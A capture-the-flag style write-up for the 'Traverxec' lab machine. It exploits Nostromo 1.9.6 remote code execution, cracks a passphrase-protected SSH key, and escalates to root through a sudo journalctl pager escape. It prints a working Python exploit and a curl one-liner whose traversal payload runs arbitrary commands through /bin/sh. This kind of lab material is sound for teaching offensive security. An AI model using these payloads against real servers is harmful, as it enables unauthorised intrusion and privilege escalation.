Summary
- Traverxec is a Linux machine hosting a web server called Nostromo and has SSH port open.
- The response headers from the webserver reveal its name and version which happens to be vulnerable to a Remote Code Execution vulnerability.
- After troubleshooting the exploit and making a few modifications, we get a shell as the
www-data
user. - One the box, when going through the files in the webroot, we find the Nostromo server’s configuration file.
- It reveals that there’s an accessible area within the
david
user’s home directory. There, we find a private SSH key which was protected by a passphrase. - We manage to crack it using
john
and are able to login asdavid
. - In
david
’s home path, we find a folder containing a Bash script that issues ajournalctl
command withsudo
privileges without requiring a password. We exploit that to get a shell asroot
.
NMAP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-title: TRAVERXEC
|_http-server-header: nostromo 1.9.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
from nmap
’s output, we notice from the http-server-header
script that the web server is Nostromo version 1.9.6.
but before we check for exploits, we’ll first take a look at the website to see what’s there.
The website
static content for the most. Let’s move on :D
Searching and Fixing Exploits
using searchsploit
gets us two identical matches.
to go manual, we pick the 2nd Python script and look at the exploit code (after removing the text art for clarity)
#!/usr/bin/env python
import sys
import socket
help_menu = '\r\nUsage: cve2019-16278.py <Target_IP> <Target_Port> <Command>'
def connect(soc):
response = ""
try:
while True:
connection = soc.recv(1024)
if len(connection) == 0:
break
response += connection
except:
pass
return response
def cve(target, port, cmd):
soc = socket.socket()
soc.connect((target, int(port)))
payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
soc.send(payload)
receive = connect(soc)
print(receive)
if __name__ == "__main__":
try:
target = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3]
cve(target, port, cmd)
except IndexError:
print(help_menu)
it seems straightforward. Just a TCP connection and a POST request. Let’s give it a try:
we get an error when running the code :/ But we shouldn’t worry when we’ve got Google :)
we search using the error message as a query. To find this answer on Stack Overflow:
following that, we modify the code accordingly
def cve(target, port, cmd):
soc = socket.socket()
soc.connect((target, int(port)))
payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
soc.send(payload.encode()) # previously soc.send(payload)
receive = connect(soc)
print(receive)
then rerun the exploit
no feedback at all this time xD
But, no feedback doesn’t necessarily mean no effect
for blind situations like these: it’s good to use something like wget
to verify code execution.
we’re good :D let’s get in with a netcat reverse shell.
before going any further, it’s nice to improve our shell. it’s done in the below steps:
# With whatever Python version you find, import the pty module and spawn a bash pty
python -c 'import pty; pty.spawn("/bin/bash")' || python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press CTRL + Z
stty raw -echo
fg
# Press Enter twice
export SHELL=/bin/bash && export TERM=xterm-256color
# that's the size that fits my terminal. you can find yours with "stty size"
stty rows 51 columns 228
The Nostromo config file
Right after logging in, we go into /var/nostromo
and find a configuration file in the conf
folder.
A couple of interesting things show up:
- a username:
david
- an
.htpasswd
file - and a section on
HOMEDIRS
david
was a local user on the system
the .htpasswd
file contains a hash. we cracked it with john
and got a password:
But that password didn’t work for either root
or david
.
we keep it around just in case..
Understanding the HOMEDIRS feature
previously, we attempted to list the contents of david
’s profile but got denied access.
since the HOMEDIRS
feature would give us access into david
’s directory, we take a quick look at the online documentation to understand how to use it:
note: to make the page clearer for reading, you may edit the CSS for the man page using the Chrome Dev Tools.
Scrolling down to the HOMEDIRS
section, we find an example showing that we can access a user’s folder over HTTP using the ~
followed by the username
.
another thing is: users can define a certain directory to be shared through the homedirs_public
option.
we saw that one in nhttpd.conf
let’s first check the home directory from the outside
there’s nothing in both the web page and the source code.
a gobuster
brute force didn’t get us anything new either.
Locally on the file system, since the public_www
folder should be in david
’s home directory, we tried to blindly change into it.
it worked! plus we found something that could give us access.
we copied the archive to /tmp
where we extracted it. Inside, we found a protected id_rsa
that we need to crack:
we first convert it to a hash using ssh2john
and crack it using john
to get a password: “hunter”
we later change the permissions on the SSH key (chmod 600 <KEY_FILE>
) and use it to access the machine as david
Exploiting SUDO journalctl for Privesc
Right after logging in, we see a folder that sticks out: bin
it had a script server-status.sh
and another file called server-stats.head
looking at their contents:
the server-stats.head
was just ASCII art.
But, within server-status.sh
are all commands for checking the status of the Nostromo server just like the name says
the exploitable part here is the sudo
command:
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
that’s because journalctl
can be escaped for a shell with the same privileges.
A quick look on GTFOBins can confirm that.
the trick is that it “invokes the default pager”.
A pager is a program that helps the user view the output of a command one page at a time. This is done by getting the size of rows of the terminal and only displaying that many lines.
Paging tools you’re probably familiar with are more
and less
. Both of which can be escaped for a shell ;]
Let’s first run the script to see if it asks for a password or not.
It ran without prompting us for authentication.
That’s good. the command /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
is available for david
without him needing to provide a password.
To exploit this, we run the command. But because the output is too small, the pager isn’t called.
We use stty
as a quick-and-dirty trick to shrink our tty.
stty rows 20 columns 20
From the highlighted line, we know we have a pager which can be turned into a bash shell with !/bin/bash
Owned :D
Rewriting the Nostromo exploit
After some brief testing, and for the sake of simplicity, we re-wrote the the exploit for Nostromo as a curl
one-liner:
curl -s -X $'POST' \
-H $'Content-Length: 1' \
--data-binary $'\x0d\x0aecho\x0d\x0aecho\x0d\x0a<COMMAND>' \
$'http://<HOSTNAME>:<PORT>/.%0d./.%0d./.%0d./.%0d./bin/sh' >/dev/null